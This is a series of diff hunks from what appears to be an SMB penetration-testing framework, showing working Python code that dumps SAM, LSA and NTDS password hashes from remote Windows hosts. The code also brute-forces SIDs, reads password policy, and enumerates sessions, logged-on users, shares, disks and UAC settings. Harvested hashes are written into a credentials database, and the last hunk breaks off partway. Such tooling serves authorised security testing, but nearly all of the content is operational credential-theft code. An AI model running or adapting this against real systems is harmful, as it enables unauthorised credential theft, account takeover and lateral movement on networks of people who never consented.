||||
if userAccount['LMHashLength'] == 20:
|
||||
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
|
||||
else:
|
||||
encLMHash = ''
|
||||
|
||||
if userAccount['NTHashLength'] == 20:
|
||||
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
|
||||
else:
|
||||
encNTHash = ''
|
||||
|
||||
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
|
||||
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
|
||||
|
||||
if lmHash == '':
|
||||
lmHash = ntlm.LMOWFv1('','')
|
||||
if ntHash == '':
|
||||
ntHash = ntlm.NTOWFv1('','')
|
||||
|
||||
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
||||
self.__itemsFound[rid] = answer
|
||||
self.__logger.highlight(answer)
|
||||
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
|
||||
|
||||
def export(self, fileName):
|
||||
if len(self.__itemsFound) > 0:
|
||||
items = sorted(self.__itemsFound)
|
||||
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
|
||||
for item in items:
|
||||
fd.write(self.__itemsFound[item]+'\n')
|
||||
fd.close()
|
|
@ -0,0 +1,170 @@
|
|||
from impacket import winregistry
|
||||
from binascii import unhexlify, hexlify
|
||||
from gevent import sleep
|
||||
from core.remoteoperations import RemoteOperations
|
||||
from core.credentials.sam import SAMHashes
|
||||
from core.credentials.lsa import LSASecrets
|
||||
from core.credentials.ntds import NTDSHashes
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
import traceback
|
||||
import logging
|
||||
|
||||
class DumpSecrets:
|
||||
def __init__(self, connection, logger):
|
||||
self.__useVSSMethod = False
|
||||
self.__smbConnection = connection.conn
|
||||
self.__db = connection.db
|
||||
self.__host = connection.host
|
||||
self.__hostname = connection.hostname
|
||||
self.__remoteOps = None
|
||||
self.__SAMHashes = None
|
||||
self.__NTDSHashes = None
|
||||
self.__LSASecrets = None
|
||||
#self.__systemHive = options.system
|
||||
#self.__securityHive = options.security
|
||||
#self.__samHive = options.sam
|
||||
#self.__ntdsFile = options.ntds
|
||||
self.__bootKey = None
|
||||
self.__history = False
|
||||
self.__noLMHash = True
|
||||
self.__isRemote = True
|
||||
self.__outputFileName = 'logs/{}_{}'.format(connection.hostname, connection.host)
|
||||
self.__doKerberos = False
|
||||
self.__justDC = False
|
||||
self.__justDCNTLM = False
|
||||
self.__pwdLastSet = False
|
||||
self.__resumeFileName = None
|
||||
self.__logger = logger
|
||||
|
||||
def getBootKey(self):
|
||||
# Local Version whenever we are given the files directly
|
||||
bootKey = ''
|
||||
tmpKey = ''
|
||||
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
||||
# We gotta find out the Current Control Set
|
||||
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
||||
currentControlSet = "ControlSet%03d" % currentControlSet
|
||||
for key in ['JD','Skew1','GBG','Data']:
|
||||
logging.debug('Retrieving class info for %s'% key)
|
||||
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
|
||||
digit = ans[:16].decode('utf-16le')
|
||||
tmpKey = tmpKey + digit
|
||||
|
||||
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
||||
|
||||
tmpKey = unhexlify(tmpKey)
|
||||
|
||||
for i in xrange(len(tmpKey)):
|
||||
bootKey += tmpKey[transforms[i]]
|
||||
|
||||
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
|
||||
|
||||
return bootKey
|
||||
|
||||
def checkNoLMHashPolicy(self):
|
||||
logging.debug('Checking NoLMHash Policy')
|
||||
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
||||
# We gotta find out the Current Control Set
|
||||
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
||||
currentControlSet = "ControlSet%03d" % currentControlSet
|
||||
|
||||
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
|
||||
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
|
||||
if noLmHash is not None:
|
||||
noLmHash = noLmHash[1]
|
||||
else:
|
||||
noLmHash = 0
|
||||
|
||||
if noLmHash != 1:
|
||||
logging.debug('LMHashes are being stored')
|
||||
return False
|
||||
logging.debug('LMHashes are NOT being stored')
|
||||
return True
|
||||
|
||||
def enableRemoteRegistry(self):
|
||||
bootKey = None
|
||||
try:
|
||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
||||
#if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
|
||||
self.__remoteOps.enableRegistry()
|
||||
self.__bootKey = self.__remoteOps.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes
|
||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
logging.error('RemoteOperations failed: %s' % str(e))
|
||||
|
||||
def SAM_dump(self):
|
||||
self.enableRemoteRegistry()
|
||||
try:
|
||||
SAMFileName = self.__remoteOps.saveSAM()
|
||||
self.__SAMHashes = SAMHashes(SAMFileName, self.__bootKey, self.__logger, self.__db, self.__host, self.__hostname, isRemote = True)
|
||||
self.__SAMHashes.dump()
|
||||
self.__SAMHashes.export(self.__outputFileName)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
||||
|
||||
self.cleanup()
|
||||
|
||||
def LSA_dump(self):
|
||||
self.enableRemoteRegistry()
|
||||
try:
|
||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
||||
|
||||
self.__LSASecrets = LSASecrets(SECURITYFileName, self.__bootKey, self.__logger, self.__remoteOps, isRemote=self.__isRemote)
|
||||
self.__LSASecrets.dumpCachedHashes()
|
||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
||||
self.__LSASecrets.dumpSecrets()
|
||||
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
self.cleanup()
|
||||
|
||||
def NTDS_dump(self, method, pwdLastSet, history):
|
||||
self.__pwdLastSet = pwdLastSet
|
||||
self.__history = history
|
||||
try:
|
||||
self.enableRemoteRegistry()
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||
if method == 'vss':
|
||||
self.__useVSSMethod = True
|
||||
|
||||
if self.__useVSSMethod:
|
||||
NTDSFileName = self.__remoteOps.saveNTDS()
|
||||
else:
|
||||
NTDSFileName = None
|
||||
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history,
|
||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
|
||||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
||||
outputFileName=self.__outputFileName)
|
||||
#try:
|
||||
self.__NTDSHashes.dump()
|
||||
#except Exception as e:
|
||||
# traceback.print_exc()
|
||||
# logging.error(e)
|
||||
# if self.__useVSSMethod is False:
|
||||
# logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
self.cleanup()
|
||||
|
||||
def cleanup(self):
|
||||
logging.info('Cleaning up... ')
|
||||
if self.__remoteOps:
|
||||
try:
|
||||
self.__remoteOps.finish()
|
||||
except DCERPCException:
|
||||
sleep(5)
|
||||
self.__remoteOps.finish()
|
||||
if self.__SAMHashes:
|
||||
self.__SAMHashes.finish()
|
||||
if self.__LSASecrets:
|
||||
self.__LSASecrets.finish()
|
||||
if self.__NTDSHashes:
|
||||
self.__NTDSHashes.finish()
|
|
@ -1,14 +1,13 @@
|
|||
from scripts.secretsdump import RemoteOperations
|
||||
from core.remoteoperations import RemoteOperations
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
||||
class WdisgestEnable:
|
||||
class WDIGEST:
|
||||
|
||||
def __init__(self, logger, smbconnection, doKerb):
|
||||
def __init__(self, logger, smbconnection):
|
||||
self.logger = logger
|
||||
self.smbconnection = smbconnection
|
||||
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
|
||||
self.doKerb = doKerb
|
||||
self.doKerb = False
|
||||
self.rrp = None
|
||||
|
||||
def enable(self):
|
|
@ -0,0 +1,73 @@
|
|||
class CMEDatabase:
|
||||
|
||||
def __init__(self, conn):
|
||||
self.conn = conn
|
||||
|
||||
def add_host(self, ip, hostname, domain, os):
|
||||
"""
|
||||
Check if this host has already been added to the database, if not add it in.
|
||||
"""
|
||||
cur = self.conn.cursor()
|
||||
|
||||
cur.execute('SELECT * FROM hosts WHERE ip LIKE ?', [ip])
|
||||
results = cur.fetchall()
|
||||
|
||||
if not len(results):
|
||||
cur.execute("INSERT INTO hosts (ip, hostname, domain, os) VALUES (?,?,?,?)", [ip, hostname, domain, os])
|
||||
|
||||
cur.close()
|
||||
|
||||
def add_credential(self, credtype, domain, username, password):
|
||||
"""
|
||||
Check if this credential has already been added to the database, if not add it in.
|
||||
"""
|
||||
cur = self.conn.cursor()
|
||||
|
||||
cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?) AND LOWER(domain) LIKE LOWER(?) AND LOWER(username) LIKE LOWER(?) AND password LIKE ?", [credtype, domain, username, password])
|
||||
results = cur.fetchall()
|
||||
|
||||
if not len(results):
|
||||
cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] )
|
||||
|
||||
cur.close()
|
||||
|
||||
def is_credential_valid(self, credentialID):
|
||||
"""
|
||||
Check if this credential ID is valid.
|
||||
"""
|
||||
cur = self.conn.cursor()
|
||||
cur.execute('SELECT * FROM credentials WHERE id=? limit 1', [credentialID])
|
||||
results = cur.fetchall()
|
||||
cur.close()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filterTerm=None, credtype=None):
|
||||
"""
|
||||
Return credentials from the database.
|
||||
|
||||
'credtype' can be specified to return creds of a specific type.
|
||||
|
||||
Values are: hash and plaintext.
|
||||
"""
|
||||
|
||||
cur = self.conn.cursor()
|
||||
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filterTerm):
|
||||
cur.execute("SELECT * FROM credentials WHERE id=? limit 1", [filterTerm])
|
||||
|
||||
# if we're filtering by host/username
|
||||
elif filterTerm and filterTerm != "":
|
||||
cur.execute("SELECT * FROM credentials WHERE LOWER(host) LIKE LOWER(?) or LOWER(username) like LOWER(?)", [filterTerm, filterTerm])
|
||||
|
||||
# if we're filtering by credential type (hash, plaintext, token)
|
||||
elif(credtype and credtype != ""):
|
||||
cur.execute("SELECT * FROM credentials WHERE LOWER(credtype) LIKE LOWER(?)", [credtype])
|
||||
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
cur.execute("SELECT * FROM credentials")
|
||||
|
||||
results = cur.fetchall()
|
||||
cur.close()
|
||||
return results
|
|
@ -16,6 +16,7 @@
|
|||
import sys
|
||||
import logging
|
||||
import codecs
|
||||
import traceback
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad
|
||||
|
@ -27,37 +28,37 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|||
class LSALookupSid:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445),
|
||||
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445)
|
||||
#'135/TCP': (r'ncacn_ip_tcp:%s', 135),
|
||||
}
|
||||
|
||||
def __init__(self, logger, username, password, domain, protocols = None,
|
||||
hashes = None, maxRid=4000):
|
||||
if not protocols:
|
||||
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
def __init__(self, logger, protocol, connection, maxRid=4000):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocols = [protocols]
|
||||
self.__addr = connection.host
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__protocol = protocol
|
||||
self.__hash = connection.hash
|
||||
self.__maxRid = int(maxRid)
|
||||
self.__domain = domain
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def dump(self, addr):
|
||||
if self.__hash is not None:
|
||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
||||
|
||||
logging.info('Brute forcing SIDs at %s' % addr)
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
|
||||
# Try all requested protocols until one works.
|
||||
for protocol in self.__protocols:
|
||||
protodef = LSALookupSid.KNOWN_PROTOCOLS[protocol]
|
||||
def brute_force(self):
|
||||
|
||||
logging.info('Brute forcing SIDs at %s' % self.__addr)
|
||||
|
||||
protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
|
||||
port = protodef[1]
|
||||
|
||||
logging.info("Trying protocol %s..." % protocol)
|
||||
stringbinding = protodef[0] % addr
|
||||
logging.info("Trying protocol %s..." % self.__protocol)
|
||||
stringbinding = protodef[0] % self.__addr
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(port)
|
||||
|
@ -68,18 +69,11 @@ class LSALookupSid:
|
|||
try:
|
||||
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
|
||||
self.__bruteForce(rpctransport, self.__maxRid)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.critical(str(e))
|
||||
raise
|
||||
else:
|
||||
# Got a response. No need for further iterations.
|
||||
break
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
|
||||
def __bruteForce(self, rpctransport, maxRid):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
entries = []
|
||||
dce.connect()
|
||||
|
||||
# Want encryption? Uncomment next line
|
||||
|
@ -124,9 +118,7 @@ class LSALookupSid:
|
|||
|
||||
for n, item in enumerate(resp['TranslatedNames']['Names']):
|
||||
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
|
||||
self.__logger.results("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
|
||||
self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
|
||||
soFar += SIMULTANEOUS
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return entries
|
|
@ -1,8 +1,7 @@
|
|||
import sys
|
||||
import logging
|
||||
import codecs
|
||||
import logging
|
||||
|
||||
from impacket import version
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
@ -14,38 +13,36 @@ class PassPolDump:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, logger, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||
if not protocols:
|
||||
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
|
||||
else:
|
||||
self.__protocols = [protocols]
|
||||
def __init__(self, logger, protocol, connection):
|
||||
self.logger = logger
|
||||
self.addr = connection.host
|
||||
self.protocol = protocol
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.hash = connection.hash
|
||||
self.lmhash = ''
|
||||
self.nthash = ''
|
||||
self.aesKey = None
|
||||
self.doKerberos = False
|
||||
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
if password is None:
|
||||
self.__password = ''
|
||||
if self.hash is not None:
|
||||
self.lmhash, self.nthash = self.hash.split(':')
|
||||
|
||||
def dump(self, addr):
|
||||
if self.password is None:
|
||||
self.password = ''
|
||||
|
||||
logging.info('Retrieving endpoint list from %s' % addr)
|
||||
def enum(self):
|
||||
|
||||
#logging.info('Retrieving endpoint list from %s' % addr)
|
||||
|
||||
# Try all requested protocols until one works.
|
||||
entries = []
|
||||
for protocol in self.__protocols:
|
||||
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
|
||||
|
||||
protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)]
|
||||
port = protodef[1]
|
||||
|
||||
logging.info("Trying protocol %s..." % protocol)
|
||||
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
||||
logging.info("Trying protocol %s..." % self.protocol)
|
||||
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
|
@ -63,8 +60,8 @@ class PassPolDump:
|
|||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||
domainHandle = resp['DomainHandle']
|
||||
|
||||
self.__logger.success('Dumping password policy')
|
||||
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
|
||||
self.logger.success('Dumping password policy')
|
||||
self.get_pass_pol(self.addr, rpctransport, dce, domainHandle)
|
||||
|
||||
def convert(self, low, high, no_zero):
|
||||
|
||||
|
@ -109,8 +106,8 @@ class PassPolDump:
|
|||
|
||||
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
|
||||
|
||||
self.__logger.results('Minimum password length: {}'.format(min_pass_len))
|
||||
self.__logger.results('Password history length: {}'.format(pass_hst_len))
|
||||
self.logger.highlight('Minimum password length: {}'.format(min_pass_len))
|
||||
self.logger.highlight('Password history length: {}'.format(pass_hst_len))
|
||||
|
||||
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
|
||||
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
|
||||
|
@ -120,16 +117,16 @@ class PassPolDump:
|
|||
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
|
||||
1)
|
||||
|
||||
self.__logger.results('Maximum password age: {}'.format(max_pass_age))
|
||||
self.__logger.results('Minimum password age: {}'.format(min_pass_age))
|
||||
self.logger.highlight('Maximum password age: {}'.format(max_pass_age))
|
||||
self.logger.highlight('Minimum password age: {}'.format(min_pass_age))
|
||||
|
||||
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
|
||||
|
||||
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
|
||||
|
||||
self.__logger.results("Account lockout threshold: {}".format(lock_threshold))
|
||||
self.logger.highlight("Account lockout threshold: {}".format(lock_threshold))
|
||||
|
||||
lock_duration = None
|
||||
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
|
||||
|
||||
self.__logger.results("Account lockout duration: {}".format(lock_duration))
|
||||
self.logger.highlight("Account lockout duration: {}".format(lock_duration))
|
|
@ -1,58 +1,60 @@
|
|||
import logging
|
||||
from impacket.dcerpc.v5 import transport, srvs, wkst
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
import settings
|
||||
|
||||
class RPCQUERY():
|
||||
def __init__(self, logger, username, password, domain='', hashes=None):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__local_ip = None
|
||||
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
||||
if self.__password is None:
|
||||
self.__password = ''
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
def __init__(self, connection, logger):
|
||||
self.logger = logger
|
||||
self.connection = connection
|
||||
self.host = connection.host
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.hash = connection.hash
|
||||
self.nthash = ''
|
||||
self.lmhash = ''
|
||||
self.local_ip = None
|
||||
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
||||
if self.password is None:
|
||||
self.password = ''
|
||||
if self.hash:
|
||||
self.lmhash, self.nthash = self.hash.split(':')
|
||||
|
||||
def connect(self, host, service):
|
||||
def connect(self, service):
|
||||
|
||||
if service == 'wkssvc':
|
||||
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(host)
|
||||
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host)
|
||||
elif service == 'srvsvc':
|
||||
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(host)
|
||||
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
|
||||
if service == 'wkssvc':
|
||||
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.__ts)
|
||||
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts)
|
||||
elif service == 'srvsvc':
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts)
|
||||
|
||||
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
|
||||
self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
|
||||
return dce, rpctransport
|
||||
|
||||
def enum_lusers(self, host):
|
||||
dce, rpctransport = self.connect(host, 'wkssvc')
|
||||
def enum_lusers(self):
|
||||
dce, rpctransport = self.connect('wkssvc')
|
||||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
||||
|
||||
self.__logger.success("Enumerating logged on users")
|
||||
self.logger.success("Enumerating logged on users")
|
||||
for user in lusers:
|
||||
self.__logger.results(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||
self.logger.highlight(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||
user['wkui1_username'],
|
||||
user['wkui1_logon_server'],
|
||||
user['wkui1_oth_domains']))
|
||||
|
||||
def enum_sessions(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
def enum_sessions(self):
|
||||
dce, rpctransport = self.connect('srvsvc')
|
||||
level = 502
|
||||
try:
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||
|
@ -62,29 +64,29 @@ class RPCQUERY():
|
|||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
||||
|
||||
self.__logger.success("Enumerating active sessions")
|
||||
self.logger.success("Enumerating active sessions")
|
||||
for session in sessions:
|
||||
if level == 502:
|
||||
if session['sesi502_cname'][:-1] != self.__local_ip:
|
||||
self.__logger.results('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||
if session['sesi502_cname'][:-1] != self.local_ip:
|
||||
self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||
session['sesi502_username'],
|
||||
session['sesi502_num_opens'],
|
||||
session['sesi502_time'],
|
||||
session['sesi502_idle_time']))
|
||||
|
||||
elif level == 0:
|
||||
if session['sesi0_cname'][:-1] != self.__local_ip:
|
||||
self.__logger.results('\\\\{}'.format(session['sesi0_cname']))
|
||||
if session['sesi0_cname'][:-1] != self.local_ip:
|
||||
self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname']))
|
||||
|
||||
def enum_disks(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
def enum_disks(self):
|
||||
dce, rpctransport = self.connect('srvsvc')
|
||||
try:
|
||||
resp = srvs.hNetrServerDiskEnum(dce, 1)
|
||||
except Exception:
|
||||
resp = srvs.hNetrServerDiskEnum(dce, 0)
|
||||
|
||||
self.__logger.success("Enumerating disks")
|
||||
self.logger.success("Enumerating disks")
|
||||
for disk in resp['DiskInfoStruct']['Buffer']:
|
||||
for dname in disk.fields.keys():
|
||||
if disk[dname] != '\x00':
|
||||
self.__logger.results(disk[dname])
|
||||
self.logger.highlight(disk[dname])
|
|
@ -0,0 +1,40 @@
|
|||
from impacket.smbconnection import SessionError
|
||||
from core.helpers import gen_random_string
|
||||
import random
|
||||
import string
|
||||
import ntpath
|
||||
|
||||
class ShareEnum:
|
||||
|
||||
def __init__(self, smbconnection, logger):
|
||||
self.smbconnection = smbconnection
|
||||
self.logger = logger
|
||||
self.permissions = {}
|
||||
self.root = ntpath.normpath("\\" + gen_random_string())
|
||||
|
||||
def enum(self):
|
||||
for share in self.smbconnection.listShares():
|
||||
share_name = share['shi1_netname'][:-1]
|
||||
self.permissions[share_name] = []
|
||||
|
||||
try:
|
||||
self.smbconnection.listPath(share_name, '*')
|
||||
self.permissions[share_name].append('READ')
|
||||
except SessionError:
|
||||
pass
|
||||
|
||||
try:
|
||||
self.smbconnection.createDirectory(share_name, self.root)
|
||||
self.smbconnection.deleteDirectory(share_name, self.root)
|
||||
self.permissions[share_name].append('WRITE')
|
||||
except SessionError:
|
||||
pass
|
||||
|
||||
self.logger.success('Enumerating shares')
|
||||
self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions'))
|
||||
self.logger.highlight(u'{:<15} {}'.format('-----', '-----------'))
|
||||
for share, perm in self.permissions.iteritems():
|
||||
if not perm:
|
||||
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
|
||||
else:
|
||||
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
|
|
@ -1,15 +1,14 @@
|
|||
from scripts.secretsdump import RemoteOperations
|
||||
from core.remoteoperations import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
||||
class UACdump:
|
||||
class UAC:
|
||||
|
||||
def __init__(self, logger, smbconnection, doKerb):
|
||||
def __init__(self, smbconnection, logger):
|
||||
self.logger = logger
|
||||
self.smbconnection = smbconnection
|
||||
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
|
||||
self.doKerb = doKerb
|
||||
self.doKerb = False
|
||||
|
||||
def run(self):
|
||||
def enum(self):
|
||||
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
|
||||
remoteOps.enableRegistry()
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
|
@ -20,9 +19,9 @@ class UACdump:
|
|||
|
||||
self.logger.success("Enumerating UAC status")
|
||||
if uac_value == 1:
|
||||
self.logger.results('1 - UAC Enabled')
|
||||
self.logger.highlight('1 - UAC Enabled')
|
||||
elif uac_value == 0:
|
||||
self.logger.results('0 - UAC Disabled')
|
||||
self.logger.highlight('0 - UAC Disabled')
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
|
@ -14,17 +14,12 @@
|
|||
# Reference for:
|
||||
# DCE/RPC for SAMR
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import codecs
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
|
||||
class ListUsersException(Exception):
|
||||
pass
|
||||
|
||||
|
@ -34,50 +29,46 @@ class SAMRDump:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, logger, protocol, connection):
|
||||
|
||||
def __init__(self, logger, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||
if not protocols:
|
||||
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
|
||||
else:
|
||||
self.__protocols = [protocols]
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__username = connection.username
|
||||
self.__addr = connection.host
|
||||
self.__password = connection.password
|
||||
